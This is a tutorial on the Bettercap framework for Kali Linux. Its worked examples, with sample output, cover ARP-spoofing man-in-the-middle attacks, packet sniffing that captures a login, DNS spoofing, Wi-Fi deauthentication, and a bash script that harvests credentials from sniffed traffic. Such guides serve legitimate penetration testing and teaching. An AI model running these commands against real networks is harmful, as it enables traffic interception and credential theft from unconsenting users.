Bettercap: Complete Guide to Network Reconnaissance and Wireless Security Testing Using Kali Linux

Bettercap: Complete Guide to Network Reconnaissance and Wireless Security Testing Using Kali Linux

Bettercap is a modern, modular, Go-based network attack and monitoring framework often described as Ettercap’s spiritual successor. It is built around a modules + caplets architecture: every capability (ARP spoofing, DNS spoofing, Wi-Fi recon/deauth, BLE scanning, HTTP/HTTPS proxying, packet sniffing, credential harvesting) is a self-contained module that can be enabled, configured, and chained together, either interactively or via scripted caplets (.cap files).

Key capabilities:

Bettercap has effectively replaced Ettercap and MITMf for most modern red-team workflows because of its active development, REST API, and Wi-Fi/BLE support.

Installation

Preinstalled on Kali. To (re)install or update:

sudo apt update
sudo apt install bettercap -y

Verify:

bettercap -version

Expected output:

bettercap v2.32.0 (built for linux amd64 with go1.21.0)

Installing/updating caplets:

sudo apt install bettercap-caplets -y
# or manually:
sudo git clone https://github.com/bettercap/caplets /usr/local/share/bettercap/caplets

Building from source (latest release):

sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev -y
go install github.com/bettercap/bettercap@latest

Syntax

bettercap [OPTIONS]

Once inside the interactive shell:

> <module>.<command> [ARGS]

Example:

> net.probe on
> arp.spoof on

Caplet execution:

bettercap -iface eth0 -caplet /path/to/script.cap

Command-Line Options Reference

OptionDescription
-iface <IFACE>Network interface to bind to
-caplet <FILE>Load and run a caplet script on startup
-eval <COMMANDS>Run inline commands (semicolon separated) then continue interactive session
-no-historyDisable command history file
-no-colorsDisable colored output
-silentSuppress startup banner/log noise
-debugEnable debug-level logging
-helpShow help
-versionShow version
-cpu-profile <FILE>Write CPU profiling data (for development)
-mem-profile <FILE>Write memory profiling data
-api <ADDR:PORT>Enable REST API on given address/port
-api-cert <FILE>TLS certificate for the API
-env-file <FILE>Load environment variables from file
-gateway <IP>Override auto-detected gateway
-ifacesList all available interfaces and exit
-lteif <IFACE>Use an LTE modem interface
-config <FILE>Load config commands from file

Key interactive module commands (not CLI flags, run inside the Bettercap shell):

CommandDescription
net.probe on/offActively probe LAN for live hosts
net.recon on/offPassive/active host discovery
net.showShow discovered hosts table
arp.spoof on/offStart/stop ARP spoofing MITM
arp.spoof.targets <IPs>Set specific target IP(s)
arp.spoof.fullduplex true/falsePoison both victim and gateway
dns.spoof on/offStart/stop DNS spoofing
dns.spoof.domains <domains>Domains to spoof
dns.spoof.address <IP>IP to redirect spoofed domains to
net.sniff on/offStart/stop packet sniffer
net.sniff.verbose true/falseVerbose packet output
http.proxy on/offStart/stop transparent HTTP proxy
https.proxy on/offStart/stop transparent HTTPS proxy
set <module.option> <value>Set a module configuration option
help <module>Show help for a specific module
wifi.recon on/offStart/stop Wi-Fi access point discovery
wifi.deauth <BSSID/MAC>Send deauth frames to a target
ble.recon on/offBluetooth Low Energy device discovery
events.stream on/offStream live event log
caplet.updateUpdate installed caplets

Basic Usage

List interfaces:

bettercap -ifaces

Expected output:

eth0: 192.168.1.15/24, MAC: 00:0c:29:3a:1b:2d
wlan0: (no address)

Launch interactive session on eth0:

sudo bettercap -iface eth0

Expected output:

bettercap v2.32.0 (type 'help' for a list of commands)

192.168.1.15 » net.probe on
[net.probe] Started net.recon and net.probe on eth0.

192.168.1.15 » net.show
IP              MAC                Hostname   Vendor
192.168.1.1     00:1a:2b:3c:4d:5e  router     TP-Link
192.168.1.20    08:00:27:aa:bb:cc  victim-pc  Oracle VirtualBox

Practical Examples with Output

Example 1 — Basic ARP spoofing MITM + sniffing (interactive)

> set arp.spoof.targets 192.168.1.20
> arp.spoof on
[arp.spoof] Started ARP spoofer.
> net.sniff on
[net.sniff] Started net.sniff
[net.sniff] [192.168.1.20] ftp.login {"user":"student","pass":"MySecret123"}

Example 2 — Full-duplex spoofing (poison both target and gateway)

> set arp.spoof.fullduplex true
> set arp.spoof.targets 192.168.1.20
> arp.spoof on

Example 3 — Non-interactive one-liner with -eval

sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.20; arp.spoof on; net.sniff on; sleep 60; quit"

Example 4 — DNS spoofing to redirect a domain

> set dns.spoof.domains example.com
> set dns.spoof.address 192.168.1.15
> dns.spoof on
[dns.spoof] Spoofing 1 domains to 192.168.1.15

Victim resolving example.com:

$ nslookup example.com
Server:    192.168.1.1
Address:   192.168.1.1#53
Name:      example.com
Address:   192.168.1.15

Example 5 — Running a caplet (scripted attack chain)

http-req-dump.cap:

set arp.spoof.targets 192.168.1.20
arp.spoof on
net.sniff on
http.proxy on

Run:

sudo bettercap -iface eth0 -caplet http-req-dump.cap

Example 6 — Wi-Fi access point recon

> wifi.recon on
[wifi.recon] Started (channels: all)
> wifi.show
SSID           BSSID              Ch  Clients  Signal
HomeNetwork    aa:bb:cc:dd:ee:ff  6   2        -47 dBm

Example 7 — Wi-Fi deauthentication (lab AP you own)

> wifi.recon on
> wifi.deauth aa:bb:cc:dd:ee:ff
[wifi.deauth] Deauthing all clients from AP aa:bb:cc:dd:ee:ff

Example 8 — BLE device scan

> ble.recon on
[ble.recon] Started BLE discovery
> ble.show
MAC                Name          RSSI
11:22:33:44:55:66  Fitband-X3    -55

Example 9 — Enabling the REST API + Web UI dashboard

sudo bettercap -iface eth0 -api 127.0.0.1:8081 -eval "api.rest on; ui.update"

Output:

[api.rest] api.rest started on 127.0.0.1:8081
[ui.update] Downloading UI...

Then browse to http://127.0.0.1:8081/.

Example 10 — Filtering sniffed traffic by protocol

> set net.sniff.filter "tcp port 80"
> net.sniff on

Example 11 — Logging events to file

sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.20; arp.spoof on; net.sniff on" | tee /tmp/bettercap_session.log

Example 12 — Stopping all active MITM modules cleanly

> arp.spoof off
> net.sniff off
> dns.spoof off
[arp.spoof] Stopped, restoring ARP tables of targets.

Common Use Cases

Automation with Bash

#!/bin/bash
# bettercap_automation.sh - Automated ARP spoof + sniff session with time limit
IFACE="eth0"
TARGET="192.168.1.20"
DURATION=90
LOGFILE="/tmp/bettercap_$(date +%Y%m%d_%H%M%S).log"

echo "[*] Launching Bettercap session for ${DURATION}s, logging to $LOGFILE"

sudo timeout "$DURATION" bettercap -iface "$IFACE" -eval "
set arp.spoof.targets ${TARGET};
set arp.spoof.fullduplex true;
arp.spoof on;
net.sniff on;
" | tee "$LOGFILE"

echo "[*] Session ended, ARP tables restored automatically."
grep -i "login\|password\|user" "$LOGFILE" > "${LOGFILE}.creds" 2>/dev/null
echo "[*] Potential credential matches saved to ${LOGFILE}.creds"

Tips and Best Practices

Troubleshooting

ProblemCause / Fix
Permission denied on startBettercap needs raw socket / packet capture privileges — run with sudo
No hosts discoverednet.probe/net.recon not enabled, or the interface is on the wrong subnet
Victim traffic not being interceptedIP forwarding disabled on attacker host — enable via echo 1 > /proc/sys/net/ipv4/ip_forward
wifi.recon shows nothingWi-Fi adapter doesn’t support monitor mode — check with airmon-ng or iw list
Web UI won’t load-api not enabled, wrong bind address, or ui.update not run to download UI assets
Caplet fails silentlySyntax error in .cap file — run commands manually first to confirm they work

References

Exit mobile version